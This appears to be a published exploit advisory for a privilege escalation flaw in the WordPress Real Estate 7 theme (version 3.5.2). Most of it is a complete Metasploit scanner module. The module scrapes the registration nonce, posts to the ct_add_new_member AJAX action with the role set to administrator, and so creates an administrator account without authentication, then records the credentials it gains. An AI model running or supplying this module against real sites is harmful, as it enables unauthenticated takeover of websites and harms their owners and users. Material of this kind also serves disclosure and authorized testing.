============================================================================================================================================= | # Title : WordPress Real Estate 7 3.5.2 User Registration Privilege Escalation via ct_add_new_member AJAX Action | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://mhthemes.com/wp-themes/wp-pro-real-estate-7-wordpress-theme/ | ============================================================================================================================================= [+] Summary : This Metasploit auxiliary scanner module targets a privilege escalation vulnerability in certain WordPress installations. The flaw allows unauthenticated attackers to register a new user account with administrator privileges by abusing the ct_add_new_member AJAX action. [+] The module works by: Initial Probe Sending a request to the WordPress registration page to detect the presence of vulnerable components such as: ct_add_new_member ct_register_nonce [+] Nonce Extraction Parsing the registration page using flexible regular expressions to extract a valid registration nonce. [+] Privilege Escalation Attempt Submitting a crafted POST request to /wp-admin/admin-ajax.php with: ct_user_role set to administrator The extracted nonce Attacker-controlled username, email, and password [+] Strict Success Validation Verifying exploitation success by: Checking for HTTP 200 response Ensuring Content-Type includes application/json Parsing JSON response and validating multiple success patterns (true, "true", 1) [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'json' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress User Registration Privilege Escalation', 'Description' => %q{ Exploits a vulnerability in WordPress allowing administrator registration via the 'ct_add_new_member' AJAX action. }, 'Author' => ['indoushka'], 'License' => MSF_LICENSE, 'DisclosureDate' => '2024-01-01', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']), OptString.new('USERNAME_PREFIX', [true, 'Prefix for generated usernames', 'wp_admin_']), OptString.new('PASSWORD', [true, 'Password for the new user', 'P@ssw0rd123!']), ] ) end def run_host(ip) username = "#{datastore['USERNAME_PREFIX']}#{Rex::Text.rand_text_alpha(5).downcase}" email = "#{username}@example.com" password = datastore['PASSWORD'] res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'register'), 'method' => 'GET' }) return unless res && res.code == 200 unless res.body =~ /ct_add_new_member|ct_register_nonce/i vprint_error("#{ip} - Target does not appear to have the vulnerable component.") return end nonce = extract_nonce(res.body) unless nonce vprint_error("#{ip} - Nonce not found (Registration might be disabled or hidden)") return end print_status("#{ip} - Found nonce: #{nonce}. Registering admin: #{username}") exploit_res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'vars_post' => { 'action' => 'ct_add_new_member', 'ct_user_login' => username, 'ct_user_email' => email, 'ct_user_pass' => password, 'ct_user_pass_confirm' => password, 'ct_user_role' => 'administrator', 'ct_register_nonce' => nonce, 'ct_user_terms' => 'on' } }) if exploit_res && exploit_res.code == 200 return unless exploit_res.headers['Content-Type']&.include?('json') begin json = JSON.parse(exploit_res.body) if json['success'] == true || json['success'].to_s == 'true' || json['success'].to_i == 1 print_good("#{ip} - SUCCESS! Admin account created.") report_admin_cred(ip, username, password) else vprint_error("#{ip} - Failed: #{json['data'] || json['message'] || 'Unknown error'}") end rescue JSON::ParserError vprint_error("#{ip} - Response was not valid JSON.") end end end def extract_nonce(body) patterns = [ /]+(?:name|id)=["'](?:ct_register_nonce|_wpnonce)["'][^>]*value=["']([A-Za-z0-9_-]+)["']/im, /]+value=["']([A-Za-z0-9_-]+)["'][^>]*(?:name|id)=["'](?:ct_register_nonce|_wpnonce)["']/im ] patterns.each do |pattern| return $1 if body =~ pattern end nil end def report_admin_cred(ip, user, pass) service_data = { address: ip, port: rport, protocol: 'tcp', service_name: (ssl ? 'https' : 'http'), workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: self.fullname, private_type: :password, private_data: pass, username: user, realm_key: Metasploit::Model::Realm::Key::HTTP_HOST, realm_value: ip }.merge(service_data) credential_core = create_credential(credential_data) create_credential_login({ core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data)) end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================